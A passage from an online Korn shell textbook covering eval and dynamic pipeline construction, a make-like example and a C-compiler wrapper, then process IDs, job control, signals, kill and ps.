When you log in, this code will set PS1 to the initial current directory (presumably your home directory). Then, whenever you enter a cd command, the alias runs the function _cd, which looks a lot like the "wrapper" in Chapter 5.

The first line in _cd runs the "real" cd by surrounding it in quotes - which makes the shell bypass alias expansion (Step 3 in the list). Then the shell resets the prompt string to the new current directory, or the old one if the cd failed for some reason.

Of course, the function tildize can be any code that formats the directory string. See the exercises at the end of this chapter for a couple of suggestions.

7.3.2 eval

We have seen that quoting lets you skip steps in command-line processing. Then there's the eval command, which lets you go through the process again. Performing command-line processing twice may seem strange, but it's actually very powerful: it lets you write scripts that create command strings on the fly and then pass them to the shell for execution. This means that you can give scripts "intelligence" to modify their own behavior as they are running.

The eval statement tells the shell to take eval's arguments and run them through the command-line processing steps all over again. To help you understand the implications of eval, we'll start with a trivial example and work our way up to a situation in which we're constructing and running commands on the fly.

eval ls passes the string ls to the shell to execute; the shell prints list of files in the current directory. Very simple; there is nothing about the string ls that needs to be sent through the command-processing steps twice. But consider this:

listpage="ls | more"
$listpage

Instead of producing a paginated file listing, the shell will treat | and more as arguments to ls, and ls will complain that no files of those names exist. Why? Because the pipe character "appears" in step 5 when the shell evaluates the variable, after it has actually looked for pipe characters (in step 2). The variable's expansion isn't even parsed until step 8. As a result, the shell will treat | and more as arguments to ls, so that ls will try to find files called | and more in the current directory!

Now consider eval $listpage instead of just $listpage. When the shell gets to the last step, it will run the command eval with arguments ls, |, and more. This causes the shell to go back to Step 1 with a line that consists of these arguments. It finds | in Step 2 and splits the line into two commands, ls and more. Each command is processed in the normal (and in both cases trivial) way. The result is a paginated list of the files in your current directory.

Now you may start to see how powerful eval can be. It is an advanced feature that requires considerable programming cleverness to be used most effectively. It even has a bit of the flavor of artificial intelligence, in that it enables you to write programs that can "write" and execute other programs. [11] You probably won't use eval for everyday shell programming, but it's worth taking the time to understand what it can do.

[11] You could actually do this without eval, by printing commands to a temporary file and then "sourcing" that file with . filename. But that is much less efficient.

As a more interesting example, we'll revisit Task 4-1, the very first task in the book. In it, we constructed a simple pipeline that sorts a file and prints out the first N lines, where N defaults to 10. The resulting pipeline was:

sort -nr $1 | head -${2:-10}

The first argument specified the file to sort; $2 is the number of lines to print.

Now suppose we change the task just a bit so that the default is to print the entire file instead of 10 lines. This means that we don't want to use head at all in the default case. We could do this in the following way:

if [[ -n $2 ]]; then
    sort -nr $1 | head -$2
else
    sort -nr $1
fi

In other words, we decide which pipeline to run according to whether or not $2 is null. But here is a more compact solution:

eval sort -nr \$1 ${2:+"| head -\$2"}

The last expression in this line evaluates to the string | head -\$2 if $2 exists (is not null); if $2 is null, then the expression is null too. We backslash-escape dollar signs (\$) before variable names to prevent unpredictable results if the variables' values contain special characters like > or |. The backslash effectively puts off the variables' evaluation until the eval command itself runs. So the entire line is either:

eval sort -nr \$1 | head -\$2

if $2 is given or:

eval sort -nr \$1

if $2 is null. Once again, we can't just run this command without eval because the pipe is "uncovered" after the shell tries to break the line up into commands. eval causes the shell to run the correct pipeline when $2 is given.

Next, we'll revisit Task 7-3 from earlier in this chapter, the start script that lets you start a command in the background and save its standard output and standard error in a logfile. Recall that the one-line solution to this task had the restriction that the command could not contain output redirectors or pipes. Although the former doesn't make sense when you think about it, you certainly would want the ability to start a pipeline in this way.

eval is the obvious way to solve this problem:

eval "$@" > logfile 2>&1 &

The only restriction that this imposes on the user is that pipes and other such special characters be quoted (surrounded by quotes or preceded by backslashes).

Here's a way to apply eval in conjunction with various other interesting shell programming concepts.

Task 7.6

Implement the guts of the make(1) utility as a shell script.

make is known primarily as a programmer's tool, but it seems as though someone finds a new use for it every day. Without going into too much extraneous detail, make basically keeps track of multiple files in a particular project, some of which depend on others (e.g., a document depends on its word processor input file(s)). It makes sure that when you change a file, all of the other files that depend on it are processed.

For example, assume you're using the troff word processor to write a book. You have files for the book's chapters called ch1.t, ch2.t, and so on; the troff output for these files are ch1.out, ch2.out, etc. You run commands like troff ch N.t > ch N.out to do the processing. While you're working on the book, you tend to make changes to several files at a time.

In this situation, you can use make to keep track of which files need to be reprocessed, so that all you need to do is type make, and it will figure out what needs to be done. You don't need to remember to reprocess the files that have changed.

How does make do this? Simple: it compares the modification times of the input and output files (called sources and targets in make terminology), and if the input file is newer, then make reprocesses it.

You tell make which files to check by building a file called makefile that has constructs like this:

target : source1 source2 ...
    commands to make target

This essentially says, "For target to be up to date, it must be newer than all of the sources. If it's not, run the commands to bring it up to date." The commands are on one or more lines that must start with TABs: e.g., to make ch7.out:

ch7.out : ch7.t
    troff ch7.t > ch7.out

Now suppose that we write a shell function called makecmd that reads and executes a single construct of this form. Assume that the makefile is read from standard input. The function would look like the following code.

function makecmd {
    read target colon sources
    for src in $sources; do
        if [[ $src -nt $target ]]; then
            while read cmd && [[ $cmd = \t* ]]; do
                print "$cmd"
                eval ${cmd#\t}
            done
            break
        fi
    done
}

This function reads the line with the target and sources; the variable colon is just a placeholder for the :. Then it checks each source to see if it's newer than the target, using the -nt file attribute test operator that we saw in Chapter 5. If the source is newer, it reads, prints, and executes the commands until it finds a line that doesn't start with a TAB or it reaches end-of-file. (The real make does more than this; see the exercises at the end of this chapter.) After running the commands (which are stripped of the initial TAB), it breaks out of the for loop, so that it doesn't run the commands more than once.

7.3.2.1 The C Compiler as Pipeline

As a final example of eval, we'll revisit our old friend occ, the C compiler from the previous three chapters. Recall that the compiler does its work by calling separate programs to do the actual compile from C to object code (the ccom program), optimization of object code (optimize), assembly of assembler code files (as), and final linking of object code files into an executable program (ld). These separate programs use temporary files to store their outputs.

Now we'll assume that these components (except the linker) pass information in a pipeline to the final object code output. In other words, each component takes standard input and produces standard output instead of taking filename arguments. We'll also change an earlier assumption: instead of compiling a C source file directly to object code, occ compiles C to assembler code, which the assembler then assembles to object code. This lets us suppose that occ works like this:

ccom < filename.c | as | optimize > filename.o

Or, if you prefer:

cat filename.c | ccom | as | optimize > filename.o

To get this in the proper framework for eval, let's assume that the variables srcname and objname contain the names of the source and object files, respectively. Then our pipeline becomes:

cat $srcname | ccom | as | optimize > $objname

As we've already seen, this is equivalent to:

eval cat \$srcname | ccom | as | optimize > \$objname

Knowing what we do about eval, we can transform this into:

eval cat \$srcname " | ccom" " | as" " | optimize" > \$objname

and from that into:

compile=" | ccom"
assemble=" | as"
optimize=" | optimize"

eval cat \$srcname \$compile \$assemble \$optimize > \$objname

Now, consider what happens if you don't want to invoke the optimizer - which is the default case anyway. (Recall that the -O option invokes the optimizer.) We can do this:

optimize=""
if -O given then
    optimize=" | optimize"
fi

In the default case, $optimize evaluates to the empty string, causing the final pipeline to "collapse" into:

eval cat $srcname | ccom | as > $objname

Similarly, if you pass occ a file of assembler code (filename.s), you can collapse the compile step: [12]

[12] Astute readers will notice that, according to this rationale, we would handle object-code input files (filename.o) with the pipeline eval cat $srcname > $objname, where the two names are the same. This will cause UNIX to destroy filename.o by truncating it to zero length. We won't worry about this here.

assemble="| as"
if $srcname ends in .s then
    compile=""
fi

That results in this pipeline:

eval cat \$srcname | as > \$objname

Now we're ready to show the full "pipeline" version of occ. It's similar to the previous version, except that for each input file, it constructs and runs a pipeline as above. It processes the -g (debug) option and the link step in the same way as before. Here is the code:

# initialize option-related variables
do_link=true
debug=""
link_libs="-l c"
exefile=""

# initialize pipeline components
compile=" | ccom"
assemble=" | as"
optimize=""

# process command-line options
while getopts ":cgl:o:O" opt; do
    case $opt in
        c )    do_link=false ;;
        g )    debug="-g" ;;
        l )    link_libs="$link_libs -l $OPTARG" ;;
        o )    exefile="-o $OPTARG" ;;
        O )    optimize=" | optimize" ;;
        \? )   print 'usage: occ [-cgO] [-l lib] [-o file] files...'
               return 1 ;;
    esac
done
shift $(($OPTIND - 1))

# process the input files
for filename in "$@"; do
    case $filename in
    *.c )
        objname=${filename%.c}.o ;;
    *.s )
        objname=${filename%.s}.o
        compile="" ;;
    *.o )
        compile=""
        assemble="" ;;
    *   )
        print "error: $filename is not a source or object file."
        return 1 ;;
    esac

# run a pipeline for each input file
eval cat \$filename \$compile \$assemble \$optimize > \$objname
    objfiles=$objfiles" "$objname
done

if [[ $do_link = true ]]; then
    ld $exefile $link_libs $objfiles
fi

We could go on forever with increasingly complex examples of eval, but we'll settle for concluding the chapter with a few exercises. The last two are really more like items on the menu of food for thought; the very last one is particularly difficult.

  1. Here are a couple of ways to enhance occ, our C compiler:

    1. Real-world C compilers accept the option -S, which tells the compiler to suppress the assembly step and leave the output in files of assembler code whose names end in .s. Modify occ so that it recognizes this option.

    2. The language C++ is an evolutionary successor to C; it includes advanced features like operator overloading, function argument type checking, and class definitions. (Don't worry if you don't know what these are.) Some C++ compilers use C as an "assembly language", i.e., they compile C++ source files to C code and then pass them to a C compiler for further processing. Assume that C++ source files have names ending in .cc, and that /lib/cfront is the C++ compiler "front-end" that produces C code on its standard output. Modify occ so that it accepts C++ as well as C, assembler, and object code files.

  2. The possibilities for customizing your prompt string are practically endless. Here are two enhancements to customization schemes that we've seen already:

    1. Enhance the current-directory-in-the-prompt scheme by limiting the prompt string's length to a number of characters that the user can define with an environment variable.

    2. On some UNIX systems, it's not possible to get a list of all users by looking at /etc/passwd. For example, networks of Suns use the Network Information Service (NIS, a.k.a. "Yellow Pages"), which stores a protected password file for the entire network on one server machine, instead of having separate /etc/passwd files on each machine.

      If such a machine is set up so that all login directories are under a common directory (e.g., /users), you can get a list of all users by simply ls-ing that directory. Modify the tildize function so that it uses this technique; pay particular attention to execution speed.

  3. The function makecmd in the solution to Task 7-6 represents an oversimplification of the real make's functionality. make actually checks file dependencies recursively, meaning that a source on one line in a makefile can be a target on another line. For example, the book chapters in the example could themselves depend on some figures in separate files that were made with a graphics package.

    1. Write a function called readtargets that goes through the makefile and stores all of the targets in a variable or temp file.

    2. Instead of reading the makefile from standard input, read it into an array variable called lines. Use the variable curline as the "current line" index. Modify makecmd so that it reads lines from the array starting with the current line.

    3. makecmd merely checks to see if any of the sources are newer than the given target. It should really be a recursive routine that looks like this:

      function makecmd {
    target=$1
    get sources for $target
    for each source src; do
        if $src is also a target in this makefile then
            makecmd $src
        fi
        if [[ $src -nt $target ]]; then
            run commands to make target
            return
        fi
    done
}

      Implement this.

    4. Write the "driver" script that turns the makecmd function into a full make program. This should make the target given as argument, or if none is given, the first target listed in the makefile.

    5. The above makecmd still doesn't do one important thing that the real make does: allow for "symbolic" targets that aren't files. These give make much of the power that makes it applicable to such an incredible variety of situations. Symbolic targets always have a modification time of 0, so that make always runs the commands to make them. Modify makecmd so that it allows for symbolic targets. (Hint: the crux of this problem is to figure out how to get a file's modification time. This is quite difficult.)

  4. Finally, here are some problems that really test your knowledge of eval and the shell's command-line processing rules. Solve these and you're a true Korn shell hacker!

    1. Advanced shell programmers sometimes use a little trick that includes eval: using the value of a variable as the name of another variable. In other words, you can give a shell script control over the names of variables to which it assigns values. How would you do this? (Hint: if $fred equals "dave", and $dave is "bob", then you might think that you could type print $$fred and get the response bob. This doesn't actually work, but it's on the right track.)

    2. You could use the above technique together with other eval tricks to implement new control structures for the shell. For example, see if you can write a script that emulates the behavior of a for loop in a conventional language like C or Pascal, i.e., a loop that iterates a fixed number of times, with a loop variable that steps from 1 to the number of iterations (or, for C fans, 0 to iterations-1). Call your script loop to avoid clashes with the keywords for and do.

Previous: 7.2 String I/O | Learning the Korn Shell | Next: 8. Process Handling
7.2 String I/O | Book Index | 8. Process Handling
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] Process Handling

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 7.3 Command-line Processing Chapter 8 Next: 8.2 Job Control

8. Process Handling

Contents:
Process IDs and Job Numbers
Job Control
Signals
trap
Coroutines
Subshells

The UNIX operating system built its reputation on a small number of concepts, all of which are simple yet powerful. We've seen most of them by now: standard input/output, pipes, text-filtering utilities, the tree-structured file system, and so on. UNIX also gained notoriety as the first small-computer operating system to give each user control over more than one process. We call this capability user-controlled multitasking.

If UNIX is the only operating system that you're familiar with, you might be surprised to learn that several other major operating systems have been sadly lacking in this area. For example, Microsoft's MS-DOS, for IBM PC compatibles, has no multitasking at all, let alone user-controlled multitasking. IBM's own VM/CMS system for large mainframes handles multiple users but gives them only one process each. DEC's VAX/VMS has user-controlled multitasking, but it is limited and difficult to use. The latest generation of small-computer operating systems, such as Apple's Macintosh OS System 7, IBM's OS/2 Version 2, and Microsoft's Windows NT, finally include user-controlled multitasking at the operating system level. [1]

[1] Programs like Apple's Multifinder and Microsoft Windows work on top of the operating system (Mac OS Version 6 and MS-DOS, respectively) to give the user limited multitasking.

But if you've gotten this far in this book, you probably don't think that multitasking is a big deal. You're probably used to the idea of running a process in the background by putting an ampersand (&) at the end of the command line. You have also seen the idea of a subshell in Chapter 4, Basic Shell Programming when we showed how shell scripts run.

In this chapter, we will cover most of the Korn shell's features that relate to multitasking and process handling in general. We say "most" because some of these features are, like the file descriptors we saw in the previous chapter, of interest only to low-level systems programmers.

We'll start out by looking at certain important primitives for identifying processes and for controlling them during login sessions and within shell scripts. Then we will move out to a higher-level perspective, looking at ways to get processes to communicate with each other. The Korn shell's coroutine facility is the most sophisticated interprocess communication scheme that we'll examine; we'll also look in more detail at concepts we've already seen, like pipes and subshells.

Don't worry about getting bogged down in low-level technical details about UNIX. We will provide only the technical information that is necessary to explain higher-level features, plus a few other tidbits designed to pique your curiosity. If you are interested in finding out more about these areas, refer to your UNIX Programmer's Manual or a book on UNIX internals that pertains to your version of UNIX.

We strongly recommend that you try out the examples in this chapter. The behavior of code that involves multiple processes is not as easy to understand on paper as most of the other examples in this book.

8.1 Process IDs and Job Numbers

UNIX gives all processes numbers, called process IDs, when they are created. You will notice that, when you run a command in the background by appending & to it, the shell responds with a line that looks like this:

$ fred &
[1]     2349

In this example, 2349 is the process ID for the fred process. The [1] is a job number assigned by the shell (not the operating system). What's the difference? Job numbers refer to background processes that are currently running under your shell, while process IDs refer to all processes currently running on the entire system, for all users. The term job basically refers to a command line that was invoked from your login shell.

If you start up additional background jobs while the first one is still running, the shell will number them 2, 3, etc. For example:

$ bob &
[2]     2367
$ dave &
[3]     2382

Clearly, 1, 2, and 3 are easier to remember than 2349, 2367, and 2382!

The shell includes job numbers in messages it prints when a background job completes, like this:

[1] +  Done                     fred &

We'll explain what the plus sign means soon. If the job exits with non-zero status (see Chapter 5, Flow Control), the shell will include the exit status in parentheses:

[1] +  Done(1)                  fred &

The shell prints other types of messages when certain abnormal things happen to background jobs; we'll see these later in this chapter.

Previous: 7.3 Command-line Processing | Learning the Korn Shell | Next: 8.2 Job Control
7.3 Command-line Processing | Book Index | 8.2 Job Control
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.2 Job Control

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 8.1 Process IDs and Job Numbers Chapter 8
Process Handling 		Next: 8.3 Signals

8.2 Job Control

Why should you care about process IDs or job numbers? Actually, you could probably get along fine through your UNIX life without ever referring to process IDs (unless you use a windowing workstation-as we'll see soon). Job numbers are more important, however: you can use them with the shell commands for job control. [2]

[2] NOTE: If you have an older version of UNIX, it is possible that your system does not support job control. This is particularly true for many systems derived from Xenix, System III, or early versions of System V. On such systems, the Korn shell does not have the fg and bg commands, you can't type [CTRL-Z] to suspend a job, and the TSTP signal doesn't exist. The shell does, however, support everything else discussed here, including job numbers and the jobs and kill commands, if monitor mode is on. To ensure this, put the line set -o monitor in your .profile file.

You already know the most obvious way of controlling a job: you can create one in the background with &. Once a job is running in the background, you can let it run to completion, bring it into the foreground, or send it a message called a signal.

8.2.1 Foreground and Background

The built-in command fg brings a background job into the foreground. Normally this means that the job will have control of your terminal or window and therefore will be able to accept your input. In other words, the job will begin to act as if you typed its command without the &.

If you have only one background job running, you can use fg without arguments, and the shell will bring that job into the foreground. But if you have several running in the background, the shell will pick the one that you put into the background most recently. If you want some other job put into the foreground, you need to use the job's command name, preceded by a percent sign (%), or you can use its job number, also preceded by %, or its process ID without a percent sign. If you don't remember which jobs are running, you can use the command jobs to list them.

A few examples should make this clearer. Let's say you created three background jobs as above. Then if you type jobs, you will see this:

[1]   Running                  fred &
[2] - Running                  bob &
[3] + Running                  dave &

jobs has a few interesting options. jobs -l also lists process IDs:

[1]   2349      Running                  fred &
[2] - 2367      Running                  bob &
[3] + 2382      Running                  dave &

The -p option tells jobs to list only process IDs:

2349
2367
2382

This could be useful with command substitution; see Task 8-1 below. Finally, the -n option lists only those jobs whose status has changed since the shell last reported it - whether with a jobs command or otherwise.

If you type fg without an argument, the shell will put dave in the foreground, because it was put in the background most recently. But if you type fg %bob (or fg %2), bob will go in the foreground.

You can also refer to the job most recently put in the background by %+. Similarly, %i- refers to the background job invoked next-most-recently (bob in this case). That explains the plus and minus signs in the above: the plus sign shows the most recently invoked job; the minus sign shows the next-most-recently invoked job. [3]

[3] This is analogous to ~+ and ~- as references to the currently and previous directory; see the footnote in Chapter 7, Input/Output and Command-line Processing. Also: %% is a synonym for %+.

If more than one background job has the same command, then %command will disambiguate by choosing the most recently invoked job (as you'd expect). If this isn't what you want, you need to use the job number instead of the command name. However, if the commands have different arguments, you can use %?string instead of %command. %?string refers to the job whose command contains the string. For example, assume you started these background jobs:

$ bob pete &
[1]     189
$ bob ralph &
[2]     190
$

Then you can use %?pete and %?ralph to refer to each of them, although actually %?pe and %?ra are sufficient to disambiguate.

Table 8.1 lists all of the ways to refer to background jobs. We have found that, given how infrequently people use job control commands, job numbers or command names are sufficient, and the other ways are superfluous.

Table 8.1: Ways to Refer to Background Jobs
Reference | Background job
%N | Job number N
%string | Job whose command begins with string
%?string | Job whose command contains string
%+ | Most recently invoked background job
%% | Same as above
%- | Second-most recently invoked background job

8.2.2 Suspending a Job

Just as you can put background jobs into the foreground with fg, you can also put a foreground job into the background. This involves suspending a job, so that the shell regains control of your terminal.

To suspend a job, type [CTRL-Z] [4] while it is running. This is analogous to typing [CTRL-C] (or whatever your interrupt key is), except that you can resume the job after you have stopped it. When you type [CTRL-Z], the shell responds with a message like this:

[4] This assumes that the [CTRL-Z] key is set up as your suspend key; just as with [CTRL-C] and interrupts, this is conventional but by no means required.

[1] + Stopped                   command

Then it gives you your prompt back.

To resume a suspended job so that it continues to run in the foreground, just type fg. If, for some reason, you put other jobs in the background after you typed [CTRL-Z], use fg with a job name or number. For example:

fred is running...
CTRL-Z
[1] + Stopped                   fred
$ bob &
[2]     bob &
$ fg %fred
fred resumes in the foreground...

The ability to suspend jobs and resume them in the foreground comes in very handy when you have a conventional terminal (as opposed to a windowing workstation) and you are using a text editor like vi on a file that needs to be processed. For example, if you are editing a file for the troff text processor, you can do the following:

$ vi myfile
edit the file...  CTRL-Z
Stopped [1] vi
$ troff myfile
troff reports an error
$ fg
vi comes back up in the same place in your file

Programmers often use the same technique when debugging source code.

You will probably also find it useful to suspend a job and resume it in the background instead of the foreground. You may start a command in the foreground (i.e., normally) and find that it takes much longer than you expected-for example, a grep, sort, or database query. You need the command to finish, but you would also like control of your terminal back so that you can do other work. If you type [CTRL-Z] followed by bg, you will move the job to the background. [5]

[5] Be warned, however, that not all commands are "well-behaved" when you do this. Be especially careful with commands that run over a network on a remote machine; you may end up "confusing" the remote program.

Previous: 8.1 Process IDs and Job Numbers | Learning the Korn Shell | Next: 8.3 Signals
8.1 Process IDs and Job Numbers | Book Index | 8.3 Signals
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.3 Signals

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 8.2 Job Control Chapter 8
Process Handling 		Next: 8.4 trap

8.3 Signals

We mentioned earlier that typing CTRL-Z to suspend a job is similar to typing CTRL-C to stop a job, except that you can resume the job later. They are actually similar in a deeper way: both are particular cases of the act of sending a signal to a process.

A signal is a message that one process sends to another when some abnormal event takes place or when it wants the other process to do something. Most of the time, a process send a signal to a subprocess it created. You're undoubtedly already comfortable with the idea that one process can communicate with another through an I/O pipeline; think of a signal as another way for processes to communicate with each other. (In fact, any textbook on operating systems will tell you that both are examples of the general concept of interprocess communication, or IPC.) [6]

[6] Pipes and signals were the only IPC mechanisms in early versions of UNIX. More modern versions like System V and 4.x BSD have additional mechanisms, such as sockets, named pipes, and shared memory. Named pipes are accessible to shell programmers through the mknod(1) command, which is beyond the scope of this book.

Depending on the version of UNIX, there are two or three dozen types of signals, including a few that can be used for whatever purpose a programmer wishes. Signals have numbers (from 1 to the number of signals the system supports) and names; we'll use the latter. You can get a list of all the signals on your system, by name and number, by typing kill -l. Bear in mind, when you write shell code involving signals, that signal names are more portable to other versions of UNIX than signal numbers.

8.3.1 Control-key Signals

When you type CTRL-C, you tell the shell to send the INT (for "interrupt") signal to the current job; [CTRL-Z] sends TSTP (on most systems, for "terminal stop"). You can also send the current job a QUIT signal by typing CTRL-\ (control-backslash); this is sort of like a "stronger" version of [CTRL-C]. [7] You would normally use [CTRL-] when (and only when) [CTRL-C] doesn't work.

[7] [CTRL-]\ can also cause the shell to leave a file called core in your current directory. This file contains an image of the process to which you sent the signal; a programmer could use it to help debug the program that was running. The file's name is a (very) old-fashioned term for a computer's memory. Other signals leave these "core dumps" as well; you should feel free to delete them unless a systems programmer tells you otherwise.

As we'll see soon, there is also a "panic" signal called KILL that you can send to a process when even [CTRL-] doesn't work. But it isn't attached to any control key, which means that you can't use it to stop the currently running process. INT, TSTP, and QUIT are the only signals you can use with control keys. [8]

[8] Some BSD-derived systems have additional control-key signals.

You can customize the control keys used to send signals with options of the stty(1) command. These vary from system to system-consult your man page for the command-but the usual syntax is stty signame char. signame is a name for the signal that, unfortunately, is often not the same as the names we use here. Table 1.7 in Chapter 1, Korn Shell Basics lists stty names for signals found on all versions of UNIX. char is the control character, which you can give in the same notation we use. For example, to set your INT key to [CTRL-X] on most systems, use:

stty intr ^X

Now that we've told you how to do this, we should add that we don't recommend it. Changing your signal keys could lead to trouble if someone else has to stop a runaway process on your machine.

Most of the other signals are used by the operating system to advise processes of error conditions, like a bad machine code instruction, bad memory address, or division by zero, or "interesting" events such as a user logging out or a timer ("alarm") going off. The remaining signals are used for esoteric error conditions that are of interest only to low-level systems programmers; newer versions of UNIX have more and more arcane signal types.

8.3.2 kill

You can use the built-in shell command kill to send a signal to any process you created-not just the currently running job. kill takes as argument the process ID, job number, or command name of the process to which you want to send the signal. By default, kill sends the TERM ("terminate") signal, which usually has the same effect as the INT signal that you send with [CTRL-C]. But you can specify a different signal by using the signal name (or number) as an option, preceded by a dash.

kill is so-named because of the nature of the default TERM signal, but there is another reason, which has to do with the way UNIX handles signals in general. The full details are too complex to go into here, but the following explanation should suffice.

Most signals cause a process that receives them to roll over and die; therefore if you send any one of these signals, you "kill" the process that receives it. However, programs can be set up to "trap" specific signals and take some other action. For example, a text editor would do well to save the file being edited before terminating when it receives a signal such as INT, TERM, or QUIT. Determining what to do when various signals come in is part of the fun of UNIX systems programming.

Here is an example of kill. Say you have a fred process in the background, with process ID 480 and job number 1, that needs to be stopped. You would start with this command:

$ kill %1

If you were successful, you would see a message like this:

[1] + Terminated                fred &

If you don't see this, then the TERM signal failed to terminate the job. The next step would be to try QUIT:

$ kill -QUIT %1

If that worked, you would see these messages:

fred[1]: 480 Quit(coredump)
[1] +  Done(131)                fred &

The 131 is the exit status returned by fred. [9] But if even QUIT doesn't work, the "last-ditch" method would be to use KILL:

[9] When a shell script is sent a signal, it exits with status 128+N, where N is the number of the signal it received (128 changes to 256 in future releases). In this case, fred is a shell script, and QUIT happens to be signal number 3.

$ kill -KILL %1

(Notice how this has the flavor of "yelling" at the runaway process.) This produces the message:

[1] + Killed                    fred &

It is impossible for a process to "trap" a KILL signal-the operating system should terminate the process immediately and unconditionally. If it doesn't, then either your process is in one of the "funny states" we'll see later in this chapter, or (far less likely) there's a bug in your version of UNIX.

Here's another example.

Task 8.1

Write a script called killalljobs that kills all background jobs.

The solution to this task is simple, relying on jobs -p:

kill "$@" $(jobs -p)

You may be tempted to use the KILL signal immediately, instead of trying TERM (the default) and QUIT first. Don't do this. TERM and QUIT are designed to give a process the chance to "clean up" before exiting, whereas KILL will stop the process, wherever it may be in its computation. Use KILL only as a last resort!

You can use the kill command with any process you create, not just jobs in the background of your current shell. For example, if you use a windowing system, then you may have several terminal windows, each of which runs its own shell. If one shell is running a process that you want to stop, you can kill it from another window-but you can't refer to it with a job number because it's running under a different shell. You must instead use its process ID.

8.3.3 ps

This is probably the only situation in which a casual user would need to know the ID of a process. The command ps(1) gives you this information; however, it can give you lots of extra information that you must wade through as well.

ps is a complex command. It takes several options, some of which differ from one version of UNIX to another. To add to the confusion, you may need different options on different UNIX versions to get the same information! We will use options available on the two major types of UNIX systems, those derived from System V (such as most of the versions for Intel 386/486 PCs, as well as IBM's AIX and Hewlett-Packard's HP/UX) and BSD (DEC's Ultrix, SunOS). If you aren't sure which kind of UNIX version you have, try the System V options first.

You can invoke ps in its simplest form without any options. In this case, it will print a line of information about the current login shell and any processes running under it (i.e., background jobs). For example, if you invoked three background jobs, as we saw earlier in the chapter, ps on System V-derived versions of UNIX would produce output that looks something like this:

   PID TTY      TIME COMD
   146 pts/10   0:03 ksh
  2349 pts/10   0:03 fred
  2367 pts/10   0:17 bob
  2389 pts/10   0:09 dave
  2390 pts/10   0:00 ps

The output on BSD-derived systems looks like this:

   PID TT STAT  TIME COMMAND
   146 10 S     0:03 /bin/ksh -i
  2349 10 R     0:03 fred
  2367 10 D     0:17 bob -f /dev/rmt0
  2389 10 R     0:09 dave
  2390 10 R     0:00 ps

(You can ignore the STAT column.) This is a bit like the jobs command. PID is the process ID; TTY (or TT) is the terminal (or pseudo-terminal, if you are using a windowing system) the process was invoked from; TIME is the amount of processor time (not real or "wall clock" time) the process has used so far; COMD (or COMMAND) is the command. Notice that the BSD version includes the command's arguments, if any; also notice that the first line reports on the parent shell process, and in the last line, ps reports on itself.

ps without arguments lists all processes started from the current terminal or pseudo-terminal. But since ps is not a shell command, it doesn't correlate process IDs with the shell's job numbers. It also doesn't help you find the ID of the runaway process in another shell window.

To get this information, use ps -a (for "all"); this lists information on a different set of processes, depending on your UNIX version.

8.3.3.1 System V

Instead of listing all of those that were started under a specific terminal, ps -a on System V-derived systems lists all processes associated with any terminal that aren't group leaders. For our purposes, a "group leader" is the parent shell of a terminal or window. Therefore, if you are using a windowing system, ps -a lists all jobs started in all windows (by all users), but not their parent shells.

Assume that, in the above example, you have only one terminal or window. Then ps -a will print the same output as plain ps except for the first line, since that's the parent shell. This doesn't seem to be very useful.

But consider what happens when you have multiple windows open. Let's say you have three windows, all running terminal emulators like xterm for the X Window System. You start background jobs fred, dave, and bob in windows with pseudo-terminal numbers 1, 2, and 3, respectively. This situation is shown in Figure 8.1.

Figure 8.1: Background jobs in multiple windows

Assume you are in the uppermost window. If you type ps, you will see something like this:

   PID TTY      TIME COMD
   146 pts/1    0:03 ksh
  2349 pts/1    0:03 fred
  2390 pts/1    0:00 ps

But if you type ps -a, you will see this:

   PID TTY      TIME COMD
  2349 pts/1    0:03 fred
  2367 pts/2    0:17 bob
  2389 pts/3    0:09 dave
  2390 pts/1    0:00 ps

Now you should see how ps -a can help you track down a runaway process. If it's dave, you can type kill 2389. If that doesn't work, try kill -QUIT 2389, or in the worst case, kill -KILL 2389.

8.3.3.2 BSD

On BSD-derived systems, ps -a lists all jobs that were started on any terminal; in other words, it's a bit like concatenating the the results of plain ps for every user on the system. Given the above scenario, ps -a will show you all processes that the System V version shows, plus the group leaders (parent shells).

Unfortunately, ps -a (on any version of UNIX) will not report processes that are in certain pathological conditions where they "forget" things like what shell invoked them and what terminal they belong to. Such processes have colorful names ("zombies," "orphans") that are actually used in UNIX technical literature, not just informally by systems hackers. If you have a serious runaway process problem, it's possible that the process has entered one of these states.

Let's not worry about why or how a process gets this way. All you need to understand is that the process doesn't show up when you type ps -a. You need another option to ps to see it: on System V, it's ps -e ("everything"), whereas on BSD, it's ps -ax.

These options tell ps to list processes that either weren't started from terminals or "forgot" what terminal they were started from. The former category includes lots of processes that you probably didn't even know existed: these include basic processes that run the system and so-called daemons (pronounced "demons") that handle system services like mail, printing, network file systems, etc.

In fact, the output of ps -e or ps -ax is an excellent source of education about UNIX system internals, if you're curious about them. Run the command on your system and, for each line of the listing that looks interesting, invoke man on the process name or look it up in the Unix Programmer's Manual for your system.

User shells and processes are listed at the very bottom of ps -e or ps -ax output; this is where you should look for runaway processes. Notice that many processes in the listing have ? instead of a terminal. Either these aren't supposed to have one (such as the basic daemons) or they're runaways. Therefore it's likely that if ps -a doesn't find a process you're trying to kill, ps -e (or ps -ax) will list it with ? in the TTY (or TT) column. You can determine which process you want by looking at the COMD (or COMMAND) column.

Previous: 8.2 Job Control | Learning the Korn Shell | Next: 8.4 trap
8.2 Job Control | Book Index | 8.4 trap
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.4 trap

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 8.3 Signals Chapter 8
Process Handling 		Next: 8.5 Coroutines

8.4 trap

We've been discussing how signals affect the casual user; now let's talk a bit about how shell programmers can use them. We won't go into too much depth about this, because it's really the domain of systems programmers.

